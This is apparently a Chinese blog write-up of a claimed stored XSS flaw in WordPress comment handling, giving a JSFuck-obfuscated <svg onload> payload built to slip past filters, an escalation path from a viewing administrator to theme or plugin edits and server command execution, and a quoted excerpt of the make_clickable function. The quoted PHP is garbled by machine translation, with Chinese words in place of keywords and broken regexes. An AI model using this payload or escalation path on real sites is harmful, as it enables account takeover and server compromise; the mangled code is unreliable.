漏洞发现者:
SecJack

漏洞概述及危害

建站程序类型:PHP + MYSQL

漏洞类型:储存型XSS

缺陷文件:formatting.php

漏洞参数:,(进行混淆)

代码如下:

<svg onload = [] [(![] + [])[+ []] +([![]] + [] [[]])[+!+ [] + [+ []]] + ![] + [])[!+ [] +!+ []] +(!! [] + [])[+ []] +(!! [] + [])[!+ [] +! + [] +!+ []] +(!! [] + [])[+!+ []]] [([[(![] + [])[+ []] +([![ ]] + [] [[]])[+!+ [] + [+ []]] +(![] + [])[!+ [] +!+ []] +(!! [] + [])[+ []] +(!! [] + [])[!+ [] +!+ [] +!+ []] +(!! [] + [])[+!+ [] ]] + [])[!+ [] +!+ [] +!+ []] +(!! [] + [] [(![] + [])[+ []] +([![ ]] + [] [[]])[+!+ [] + [+ []]] +(![] + [])[!+ [] +!+ []] +(!! [] + [])[+ []] +(!! [] + [])[!+ [] +!+ [] +!+ []] +(!! [] + [])[+!+ [] ]])[+!+ [] + [+ []]] +([] [[]] + [])[+!+ []] +(![] + [])[!+ [] + !+ [] +!+ []] +(!! [] + [])[+ []] +(!! [] + [])[+!+ []] +([] [[]] + [])[+ []] +([] [(![] + [])[+ []] +([![]] + [] [[]])[+!+ [] + [ + []]] +(![] + [])[!+ [] +!+ []] +(!! [] + [])[+ []] +(!! [] + []) [!+ [] +!+ [] +!+ []] +(!! [] + [])[+!+ []]] + [])[!+ [] +!+ [] +! + []] +(!! [] + [])[+ []] +(!! [] + [] [(![] + [])[+ []] +([![]] + [] [[]])[+!+ [] + [+ []]] +(![] + [])[!+ [] +!+ []] +(!! [] + []) [+ []] +(!! [] + [])[!+ [] +!+ [] +!+ []] +(!! [] + [])[+!+ []]]) [+!+ [] + [+ []]] +(!! [] + [])[+!+ []]]((![] + [])[+!+ []] +(![] + [])[!+ [] +!+ []] +(!! [] + [])[!+ [] +!+ [] +!+ []] +(!! [] + [])[+!+ []] +(!! [] + [])[+ []] +(![] + [] [(![] + [])[ + []] +([![]] + [] [[]])[+!+ [] + [+ []]] +(![] + [])[!+ [] +!+ [ ]] +(!! [] + [])[+ []] +(!! [] + [])[!+ [] +!+ [] +!+ []] +(!! [] + [])[+!+ []]])[!+ [] +!+ [] + [+ []]] + [+!+ []] +(!! [] + [] [(![ ] + [])[+ []] +([![]] + [] [[]])[+!+ [] + [+ []]] +(![] + [])[!+ [] +!+ []] +(!! [] + [])[+ []] +(!! [] + [])[!+ [] +!+ [] +!+ []] + (!! [] + [])[+!+ []]])[!+ [] +!+ [] + [+ []]])()>

涉及版本:全版本

危害程度:高危

涉及厂商:WordPress的

厂商网站:HTTPS://www.wordpress.org/

安装量:非常大

是否拥有源代码分析:有

是否默认配置:是

此漏洞影响的WordPress全部版本包括最新版本的WordPress的(4.8)都存在评论处的存储型XSS。攻击者可以未授权通过的WordPress的评论注入的JavaScript攻击代码。

评论被查看的时候,JavaScript的就触发了。如果管理员登陆查看评论触发后,可能导致攻击者进入后台通过主题或插件编辑从而命令执行控制整个服务器。

当然,攻击者也可以创建新的管理员,甚至修改管理员密码,等等只要是管理员能在目标系统上做的任何事情。

0x0代码过滤层

代码路径:

function makeclickable($ text){

$ r ='';

$ textarr = preg_split('/(<[^ <>] +>)/',$ text,-1,PREG_SPLIT_DELIM_CAPTURE); //拆分HTML标签

$ nested_code_pre = 0; //保持跟踪在<pre>或<code>内嵌有多少级别的链接

foreach($ textarr as $ piece){

if(preg_match('| ^ <code [>] | i',$ piece)|| preg_match('| ^ <pre [>] | i',$ piece)|| preg_match('| ^ <script [>] | i',$ piece)|| preg_match('| ^ <style [>] | i',$ piece))

$ nested_code_pre ++;

ELSEIF($ nested_code_pre &&( '</代码>' === 用strtolower($片)|| '</ PRE>' === 用strtolower($片)|| '</ SCRIPT>' === 用strtolower($ piece)||'</ style>'=== strtolower($ piece)))

$ nested_code_pre--;

if($ nested_code_pre || empty($ piece)||($ piece [0] ==='<'&&!preg_match('| ^ < [] {1,20} +:// |',$ piece ))){

$ r。= $ piece;

继续;

}

//长串可能包含昂贵的边缘案例...

if(10000 < strlen($ piece)){

// ... 分开来

foreach(_split_str_by_whitespace($ piece,2100)as $ chunk){// 2100:额外的空间,计划和领导和尾随

if(2101 < strlen($ chunk)){

$ r。= $ chunk; // Toobig,no whitespace:bail。

} else {

$ r。= make_clickable($ chunk);

}

}

} else {

$ ret =“$ piece”; // Pad withwhitespace来简化正则表达式

$ url_clickable ='〜

([ s(<。,;:!?])#1:领先的空格或标点符号

(#2:URL

[w] {1,20} +://#Scheme andhier-part prefix

(?= {1,2000})#限制小于约2000个字符的URL

[w ?? - ÿ#%〜/ @ [] (+ =&$ - ) +#非标点符号网址字符

(?:#展开循环:仅允许使用非标点符号URL字符的引号URL字符

[_f3。,;:!?]]#标点URL字符

[w ?? - ÿ#%〜/ @ [] (+ =&$ - ] ++#非标点符号URL字符

)*

)

(?)#3:尾随括号(forparethesis balance post processing)

〜XS'; //正则表达式是一个非固定的模式,并没有一个固定的起始字符。

//告诉PCRE花费更多的时间进行优化,因为在页面加载时使用它可能会被使用多次。

$ ret = preg_replace_callback($ url_clickable,' makeurl_clickable_cb',$ ret);

$ ret = preg_replace_callback('#([>])((www | ftp)[?? - ÿ$%&〜/.;:=,?@+]+)#是',' makeweb_ftp_clickable_cb',$ ret) ;

$ ret = preg_replace_callback('#([>])([。0-9a-z + - ] +)@(([0-9a-z - ] +)+ [0-9a-z] {2,} )* I”, '_ make_email_clickable_cb',$ RET);

$ ret = substr($ ret,1,-1); //删除我们的空白填充。

$ r。= $ ret;

}

}

//清除链接中的意外链接

返回preg_replace('#(<a([] + [^>] +?> |>)))<a href="########################################################### ” “$ 1 $ 3 </A>”,$ R);

}

0×01测试过程
在以往案例中,被注入的JavaScript的代码明显不能在管理员面板触发,所以得在评论处发表评论写入XSS语句。

再审代码的时候我们发现带代码当中并没有针对SVG标签混淆之后的元字符进行过滤,

那我们就先去把我们常见的恶意代码进行混淆然后进行测试。

最后修改:2021 年 03 月 09 日
如果觉得我的文章对你有用,请随意赞赏